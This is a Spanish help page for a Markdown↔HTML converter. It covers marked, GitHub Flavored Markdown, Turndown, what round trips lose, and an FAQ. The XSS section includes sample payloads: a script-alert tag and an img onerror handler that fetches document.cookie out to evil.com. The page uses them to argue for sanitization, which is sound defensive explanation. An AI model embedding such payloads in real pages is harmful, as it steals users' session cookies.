Markdown ↔ HTML Converter

Por qué convertir entre Markdown y HTML

Markdown es el formato de escritura — rápido de escribir, fácil de leer en forma fuente, portable entre editores. HTML es el formato de renderización — lo que los navegadores realmente muestran, lo que los clientes de email envían, lo que las plataformas CMS almacenan. Los dos formatos sirven etapas distintas del mismo ciclo de vida de contenido:

• Migrar un blog de un generador de sitios estáticos basado en Markdown a un CMS que almacena HTML
• Tomar HTML de un editor WYSIWYG y convertirlo a Markdown para un repositorio de docs
• Renderizar Markdown a HTML para templates de email o generación de PDF
• Inspeccionar qué HTML produce un snippet de Markdown antes de desplegarlo

Markdown a HTML: cómo funciona marked

Esta herramienta usa marked, uno de los parsers Markdown para JavaScript más rápidos y ampliamente desplegados. Convierte el fuente Markdown en un string HTML en un único paso síncrono.

marked soporta tanto CommonMark (la spec Markdown estricta e inequívoca) como las extensiones de GitHub Flavored Markdown (GFM). GFM está habilitado por defecto porque es lo que la mayoría de desarrolladores esperan — agrega:

• Tables — sintaxis de pipes | col | col |
• Strikethrough — ~~text~~
• Task lists — - [ ] item / - [x] item
• Autolinks — URLs desnudas se convierten en links clicables automáticamente
• Fenced code blocks — triple backtick ``` con hint de lenguaje opcional

Deshabilita el modo GFM si necesitas compliance estricto con CommonMark.

El riesgo XSS: HTML crudo en Markdown

Markdown permite embeber HTML crudo. Esto es intencional — permite a los autores hacer cosas que la sintaxis Markdown no soporta, como <details>, <sub>, <kbd>. Pero también significa que el Markdown de fuentes no confiables es un vector XSS:

Párrafo normal.

<script>alert('XSS')</script>

<img src="x" onerror="fetch('https://evil.com/steal?c='+document.cookie)">

Si renderizas esto sin sanitización, el script y el event handler se ejecutan en el navegador del usuario. Esto importa cuando aceptas Markdown de usuarios — comentarios de blog, perfiles de usuario, páginas wiki, issue trackers.

La opción de sanitización de la herramienta ejecuta el output HTML por DOMPurify después del rendering, que elimina etiquetas <script>, hrefs javascript:, atributos de event handler (onerror, onclick, etc.). Habilita la sanitización cuando el fuente Markdown proviene de input de usuario. Es seguro dejarlo desactivado para tu propio contenido — la sanitización puede eliminar HTML intencional como bloques <details>.

HTML a Markdown: cómo funciona Turndown

Convertir HTML de vuelta a Markdown usa Turndown, que recorre el árbol DOM HTML y mapea cada elemento a su equivalente Markdown. La conversión es basada en reglas:

• <h1> → # Heading
• <strong> → **bold**
• <a href="url">text</a> → [text](url)
• <ul><li> → - item
• <pre><code> → fenced code block
• <table> → tabla de pipes GFM (requiere el plugin GFM)

Pérdidas en el round-trip: qué no sobrevive

Convertir Markdown → HTML → Markdown (o al revés) es con pérdida. No esperes que los round-trips sean idempotentes:

Qué se pierde en Markdown→HTML→Markdown:

• Los headings estilo setext (=== subrayados) se convierten en estilo ATX (#)
• Los links de referencia [text][ref] se convierten en links inline [text](url), las definiciones de referencia desaparecen
• Los comentarios HTML <!-- … --> pueden eliminarse por la sanitización
• Los bloques de código indentados pueden convertirse en fenced
• El HTML personalizado que Turndown no tiene regla para él se convierte en bloque HTML crudo o se elimina

Qué se pierde en HTML→Markdown:

• Clases CSS y estilos inline — Markdown no tiene styling
• Atributos id — los headings Markdown no tienen sintaxis de ID
• Características complejas de tablas: colspan, rowspan, celdas fusionadas
• <div> y contenedores genéricos sin equivalente Markdown

Para pipelines de publicación unidireccionales (escribir en Markdown, publicar como HTML), la pérdida no importa. Para edición bidireccional, sí.

Syntax highlighting

Los fenced code blocks con un hint de lenguaje producen <code class="language-js"> en el output HTML. El syntax highlighting no es aplicado por el conversor — es un paso de rendering realizado por librerías como Prism o highlight.js en el navegador o en el build step. La clase de lenguaje se preserva en el output para que tu librería de highlighting pueda usarla.

Embeber HTML en Markdown

Cuando se embebe HTML en Markdown con GFM habilitado, marked lo trata tal cual. Un gotcha común: debe haber una línea en blanco separando los bloques HTML de los párrafos Markdown:

Texto de arriba.

<div class="note">
Esto es HTML crudo dentro de Markdown.
</div>

Texto de abajo.

Sin las líneas en blanco alrededor del <div>, el comportamiento depende del parser. Las líneas en blanco son requeridas por la spec CommonMark y honored por marked.

Privacidad

Toda la conversión se ejecuta en tu navegador usando marked y Turndown. Tu contenido nunca se envía a nuestros servidores. Ambas librerías son MIT-licensed.

¿Es seguro renderizar Markdown de input del usuario directamente como HTML?

No. Markdown permite bloques de HTML crudo, lo que significa que el Markdown no confiable puede contener etiquetas <script>, handlers onerror y links javascript:. Siempre habilita la opción de sanitización (powered by DOMPurify) cuando renderices Markdown provisto por usuarios. Para tu propio contenido — docs, posts de blog, archivos README — la sanitización es opcional ya que confías en la fuente.

¿Cuál es la diferencia entre CommonMark y GitHub Flavored Markdown?

CommonMark es la especificación estricta e inequívoca para Markdown. GFM (GitHub Flavored Markdown) la extiende con tablas, tachado (~~text~~), task lists (- [ ] item) y URLs autovinculadas. La mayoría de desarrolladores esperan GFM porque GitHub, GitLab y la mayoría de editores Markdown lo soportan. Usa el modo CommonMark solo si necesitas compliance estricto con la spec para un sistema de publicación que lo requiera.

¿Por qué la conversión HTML→Markdown pierde los estilos CSS?

Markdown no tiene concepto de styling. No hay sintaxis Markdown para color de fuente, tamaño de fuente, clases personalizadas o CSS inline. Cuando Turndown convierte <span style="color:red">texto</span>, solo puede emitir texto — la información de estilo se pierde. Si necesitas output con estilos, mantente en HTML o usa un formato de rich text como DOCX.

Mi conversión round-trip (MD→HTML→MD) cambió el Markdown. ¿Está algo roto?

No, esto es esperado. Las conversiones son con pérdida en ambas direcciones. Los links de referencia se convierten en links inline, los headings setext se convierten en headings ATX, los bloques HTML personalizados pueden eliminarse o alterarse. La identidad en round-trip no es un objetivo de diseño de estos parsers. Usa conversión unidireccional para pipelines de publicación; para edición bidireccional, mantén la fuente autoritativa en un único formato.

¿Por qué mi fenced code block no tiene syntax highlighting en el output?

El conversor produce <code class="language-js"> (o el lenguaje que especificaste) pero no aplica syntax highlighting — ese es un paso de rendering separado. Para obtener output resaltado, ejecuta el HTML por Prism.js o highlight.js después de la conversión, o usa un renderer Markdown que incluya highlighting.

¿Cómo se manejan las tablas en la conversión HTML→Markdown?

Las tablas HTML estándar (<table><tr><td>) se convierten en tablas de pipes GFM cuando el plugin GFM está habilitado en Turndown. Las tablas simples sin celdas fusionadas se convierten limpiamente. Las tablas con colspan, rowspan o tablas anidadas no pueden representarse en sintaxis de tabla GFM — se emitirán como bloques HTML crudo en el output.

El Markdown convertido tiene muchas líneas en blanco en todos lados. ¿Puedo eliminarlas?

Las líneas en blanco adicionales son Markdown correcto — las líneas en blanco separan elementos de bloque (párrafos, headings, code blocks, tablas) como requiere la spec. Eliminarlas puede romper la estructura Markdown. Si ves más líneas en blanco de las esperadas, puede deberse a que el HTML fuente tenía etiquetas <br> extra, etiquetas <p> envolviendo elementos ya de bloque, o contenedores <div> que cada uno emite una línea en blanco circundante.

¿Puedo convertir una página HTML completa, incluyendo <head> y navegación, a Markdown?

Puedes pegar una página HTML completa, pero Turndown intentará convertir todo — menús de navegación, footers, script tags, bloques de estilo — produciendo output ruidoso. Para extracción de páginas web, es mejor primero aislar el elemento de contenido principal (<article>, <main> o un <div> específico) y convertir solo esa porción. Extensiones de navegador como Markdownload hacen este paso de extracción antes de la conversión.